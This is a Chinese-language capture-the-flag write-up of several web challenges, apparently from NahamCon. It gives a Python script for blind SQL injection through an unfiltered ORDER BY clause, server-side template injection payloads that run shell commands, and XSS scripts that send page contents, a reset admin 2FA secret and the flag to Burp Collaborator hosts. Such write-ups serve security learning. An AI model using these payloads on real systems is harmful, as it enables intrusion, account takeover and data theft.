- Flask Metal Alchemist
- Hacker Ts
- Deafcon
- Two For One
- 参考:
没有回显,没有报错,只有金属元素的排序,那么我们是否可以通过判断金属元素的排序是否正确来进行布尔盲注。
从app.py中可以看出有两个功能,search和order,且它只过滤了金属名字,并没有过滤order名字。
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
search = ""
order = None
if "search" in request.form:
search = request.form["search"]
if "order" in request.form:
order = request.form["order"]
if order is None:
metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
else:
metals = Metal.query.filter(
Metal.name.like("%{}%".format(search))
).order_by(text(order))
return render_template("home.html", metals=metals)
else:
metals = Metal.query.all()
return render_template("home.html", metals=metals)
database.py,正在使用sqlite数据库。
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base
engine = create_engine("sqlite:tmp/test.db")
db_session = scoped_session(
sessionmaker(autocommit=False, autoflush=False, bind=engine)
)
Base = declarative_base()
Base.query = db_session.query_property()
def init_db():
Base.metadata.create_all(bind=engine)
models.py中有两个,一个是metal,还有一个flag表,
from database import Base
from sqlalchemy import Column, Integer, String
class Metal(Base):
__tablename__ = "metals"
atomic_number = Column(Integer, primary_key=True)
symbol = Column(String(3), unique=True, nullable=False)
name = Column(String(40), unique=True, nullable=False)
def __init__(self, atomic_number=None, symbol=None, name=None):
self.atomic_number = atomic_number
self.symbol = symbol
self.name = name
class Flag(Base):
__tablename__ = "flag"
flag = Column(String(40), primary_key=True)
def __init__(self, flag=None):
self.flag = flag
真正要关注的是app.py中的,只对search进行了保护,但是没有对order_by保护,那么我们可以通过排列顺序来进行盲注。
metals = Metal.query.filter(
Metal.name.like("%{}%".format(search))
).order_by(text(order))
from requests import post
from string import ascii_lowercase
URL = 'http://challenge.nahamcon.com:32693/'
ALPHABET = ascii_lowercase + '{}_'
INJECTION = "CASE WHEN (SELECT SUBSTR(flag,{},1) FROM flag)='{}' THEN atomic_number ELSE symbol END"
#类似于if else,如果flag匹配到,则把顺序换为原子序数.
flag = ''
index = 1
while True:
for char in ALPHABET:
response = post(URL, data={ 'search': '', 'order': INJECTION.format(index, char) })
# 第一个原子符号出现在响应的索引 74 上(由换行符分割)。
# 如果是 Li(原子序数为 3),那么我们按原子序数排序。
first_atomic_symbol = response.text.split('\n')[74]
if 'Li' in first_atomic_symbol:
flag += char
index += 1
break
print(flag)
if flag[-1] == '}':
break
Hacker Ts
我们输入的东西都会在衬衫上显示,那么输入一些标签呢。
例如输出如下标签,则会在衬衫上显示文本
<span>sspan>
且题目有个/admin页面,提示我们要以本地页面访问这个页面。
当输入,报错还告诉我们了处理的方法为
wkhtmltoimage
,它是专门将 HTML 呈现为 PDF/图像的工具。
还有一种AJAX代表“异步 JavaScript 和 XML”,是一种技术的名称,它允许网页在后台发出请求,而不会干扰当前页面的显示。在 JavaScript 中,可以使用XMLHttpRequest对象发出异步请求,并且实际上有能力处理响应文本本身。(有点像 Python 请求的处理方式)。
<div id='stuff'>a</div>
<script>
x = new XMLHttpRequest();
x.open('GET','http://localhost:5000/admin',false);
x.send();
document.getElementById('stuff').innerHTML= x.responseText;
</script>
也可以通过Burp Collaborator来获取内容
<script> x = new XMLHttpRequest(); x.open('GET','http://localhost:5000/admin',false); x.send(); y = new XMLHttpRequest(); y.open('GET', 'http://xjkad81ctlz6dyxen1icn1yt3k9ex3.burpcollaborator.net/request?q=' + btoa(x.responseText)); y.send(); </script>
再base64解码一下。
当我们输入
jack
{{1+1}}@gamil.com
可以发现是模板注入。
在测试测试看是哪个模板,可以看到是flask模板。
jack
"{{g.pop}}"@gamil.com
用hackbar自带的flask-ssti链子看能不能rce
jack
"{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat flag.txt').read()}}"@gamil.com
它提示在电子邮件中不能有(和)
,还说允许在正则表达式中验证电子邮件,
这边看了其他大佬的wp,学到了一种新姿势,用high-unicode绕过,且仅当 @ 左侧的部分被双引号包围时,电子邮件语法检查器才允许某些字符。
jack
"{{g.pop.__globals__.__builtins__['__import__']﹙'os'﹚.popen﹙'cat flag.txt'﹚.read﹙﹚}}"@gamil.com
Two For One
先注册一个账户,然后用Google Authenticator,扫二维码,这个类似于密钥,不过这个是实时刷新的。
使用 Burp Collaborator 确认在feedback处存在XSS 错误:
<script>
document.location="http://i4nbpco2qfhyjfasips75ju9o0uvik.burpcollaborator.net";
</script>
存在xss
创建新的秘密,可以看到是从id=3的位置开始的,那么flag因该就是在1号或者二号位置上。
那么现在就是要用管理员的otp来访问1、2号位置的秘密。
在setting位置有重置otp的功能,那么我们可以通过xss来重置管理员的otp。
且这边的2fa是需要我们自己扫码的,那么我们可以劫持令牌,发送到我们的服务器上。
<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
document.location="http://9oy2938ta61p36uj2gcypae08ren2c.burpcollaborator.net?otp="+this.responseText;
}
xhttp.open("POST", "http://challenge.nahamcon.com:31423/reset2fa");
xhttp.send();
</script>
可以看到一串json格式的代码,通过otpauth来生成二维码来重置。
qrencode 'otpauth://totp/Fort%20Knox:admin?secret=FYLRNM4LOZBXO66S' -o qr.png
用authenticator扫码登录
<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
document.location="http://9oy2938ta61p36uj2gcypae08ren2c.burpcollaborator.net?flag="+this.responseText;
}
var json = {"otp":"209405","secretId":"1"};
xhttp.open("POST", "http://challenge.nahamcon.com:31423/show_secret");
xhttp.setRequestHeader('Content-Type', 'application/json');
xhttp.send(JSON.stringify(json));
</script>
得到flag
wp1
wp2
wp3
wp4
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)